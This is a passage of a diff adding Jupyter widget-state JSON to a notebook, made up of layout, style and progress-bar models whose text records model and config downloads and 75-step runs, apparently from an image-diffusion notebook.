+        "5ef86b91d359434a9aa4787dc727cb1b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6030f4bc6af8461abdc66e4599ef3f1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_818b00fb8ff04eadb9ccd1bdfe192807",
+              "IPY_MODEL_44480a036c3c4442baa95d6288e83546",
+              "IPY_MODEL_50949912a3ee403e8ddb328e62b61c0d"
+            ],
+            "layout": "IPY_MODEL_8dd862f24b164fc68664c30b3d241e62"
+          }
+        },
+        "622d32a9bbda46fca3ee0733be303765": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "62bd9e1add374b9e90c54275bd2e0449": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0d89ddfa9593441097ce8e42614ef775",
+              "IPY_MODEL_e85ceff770654ef1bd935f54ca32ee07",
+              "IPY_MODEL_d0716d01bfdf43ba88f8bbfd63d3285a"
+            ],
+            "layout": "IPY_MODEL_f6579ff0c08648309711a654ec3de748"
+          }
+        },
+        "634af1f0b6894726bebb7b546c667169": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6a72b26cbdf041e7a8331fdc1642dee5",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3c4dca0b51954031905bada22feef684",
+            "value": 75
+          }
+        },
+        "639d147ac3674094be21de9f3c11477c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "639d6afb1b0440f98ce7e26cb621a111": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "63a7a29ac462471eb67b275c68faff42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "64373eefa4884b3084975549efcbd7fe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d8b3f3c7b8394b5580d8541f20c090ae",
+              "IPY_MODEL_634af1f0b6894726bebb7b546c667169",
+              "IPY_MODEL_5b89e69b011a40918b1acc0adf141874"
+            ],
+            "layout": "IPY_MODEL_9c01417376444eed820394ef843c0be3"
+          }
+        },
+        "6525d3514cee42f3bd14bdf898b63ad2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "659bd00aed7f4a41a843432966a1ccbf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_274e736175d34926a0c614192288e510",
+              "IPY_MODEL_a266a0d0bdde4a3aa09fec6a0a00abed",
+              "IPY_MODEL_f78f911cd0ac4cdc8fdcbcb29f1a201b"
+            ],
+            "layout": "IPY_MODEL_9e0fde0538f84469bd62e9ea9f589b4f"
+          }
+        },
+        "665a3a25e6d543d79e2e321aec4954aa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "66a8f48777064cab94ebdfb44044fec7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "67e1ee8ac39743d2a50db01595591f22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_58bccc7add0a45d8b8640c42d89a864c",
+            "max": 13,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b4209eed23cb45038a5c614bfe8bf3b6",
+            "value": 13
+          }
+        },
+        "682dc899e5ee4e24a9c0f1fc928fea6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1ae88e18373a4322bddf0e51e5460a89",
+            "placeholder": "",
+            "style": "IPY_MODEL_9b2140d07da744348068f013152b1160",
+            "value": " 75/75 [00:21<00:00,  3.37it/s]"
+          }
+        },
+        "6a72b26cbdf041e7a8331fdc1642dee5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6c32232cfb734ac3a3204a22c414fc18": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7a4e5fdddcd34b6cb658b94db24ba474",
+            "max": 1893675621,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e6942466051e4a6a97c36b56d8d4e0c2",
+            "value": 1893675621
+          }
+        },
+        "6d0c44b7df564b87a2a688d770188184": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_502d0b0ef4c549b485c049a2dae9b4f1",
+              "IPY_MODEL_67e1ee8ac39743d2a50db01595591f22",
+              "IPY_MODEL_419cb861b6e84999a3708fd19b0295c6"
+            ],
+            "layout": "IPY_MODEL_fcc7b1147ad94a01ae49b4268e85d310"
+          }
+        },
+        "6f1c7458863047598f98861765f325dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "72fc113c125648538df5059fb578ae19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9ba492d205294bc0a8d07985ed271358",
+            "placeholder": "",
+            "style": "IPY_MODEL_0a49275d970741f9b19f24569b80491a",
+            "value": " 221M/221M [00:03<00:00, 63.9MB/s]"
+          }
+        },
+        "76fd2fe6247a48b7b3a6cc6eef8c9fa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_29da49469545454997e755839f8c156d",
+              "IPY_MODEL_58aa60b3b1af45d2bdd8870dedd3cb67",
+              "IPY_MODEL_f931d10a75ab4aafb1d6b92a0ba622b3"
+            ],
+            "layout": "IPY_MODEL_b67319578dc84245ad16cb8d25d3173c"
+          }
+        },
+        "795329002e034ec4aead224cf74ea361": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7a4e5fdddcd34b6cb658b94db24ba474": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7a9ce1cc3d71457797b0b1ca2831d514": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7ad5acf646b44af2a1d8558abbb59199": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7cc78829c6b744c380f52af44b49802a",
+            "placeholder": "",
+            "style": "IPY_MODEL_03856828685f4f9791a0c00f9b4f5ed5",
+            "value": " 982/982 [00:00<00:00, 17.1kB/s]"
+          }
+        },
+        "7c5bcff9ea9344dca52dbaa4a6545b50": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cc78829c6b744c380f52af44b49802a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cdde9f1b0f1403ababc0e3e120617c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_238d055bf5ff4891b2e9c6aa28a89fad",
+            "max": 485,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_66a8f48777064cab94ebdfb44044fec7",
+            "value": 485
+          }
+        },
+        "7d3baaa3ab784895a59534261f43ce7d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "80aad8d6ac1b4b7780cd63deed9ceb11": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0fcb664708324ec1bc56c4daa4a2dd15",
+              "IPY_MODEL_37e24969e35c4099933ab57fac8b2599",
+              "IPY_MODEL_efb86ed04a0d477794e70dc92219399b"
+            ],
+            "layout": "IPY_MODEL_3672f34ff79b417abb390592a3b9ed2b"
+          }
+        },
+        "818b00fb8ff04eadb9ccd1bdfe192807": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_aea53b42c35947c58d2c113bd2043078",
+            "placeholder": "",
+            "style": "IPY_MODEL_02ce6e12de0f4ff1ab8029cf16e5fb99",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "824b0b410fed4ea1b5bc7f88236fc3e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c5f787d7f16542baa5a5657c3ecb14a0",
+            "placeholder": "",
+            "style": "IPY_MODEL_be0a3bc217b04b2dbd06a90141c0dd35",
+            "value": " 75/75 [00:20<00:00,  3.66it/s]"
+          }
+        },
+        "8384173365364cd5996018a775b167e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "895dd88b169e4688a51873bb1b3d2cd9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8b24a6ee676942ddaa27f44902ef2ac5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c081010577e7490eae450d69b0458a74",
+            "placeholder": "",
+            "style": "IPY_MODEL_d011d28093544ae692f90a7380908275",
+            "value": "Downloading (…)440/unet/config.json: 100%"
+          }
+        },
+        "8d91958b962649479d9d85927ea0e3e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2f1c260b17204c08870bac68408944c4",
+              "IPY_MODEL_9f17b8692b824c0cb9a98cea381699a9",
+              "IPY_MODEL_9a8c5af4272b4da0ba4aafa4da89817b"
+            ],
+            "layout": "IPY_MODEL_e04b95f508b7431c9f4ee9159e3b5b13"
+          }
+        },
+        "8dd862f24b164fc68664c30b3d241e62": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
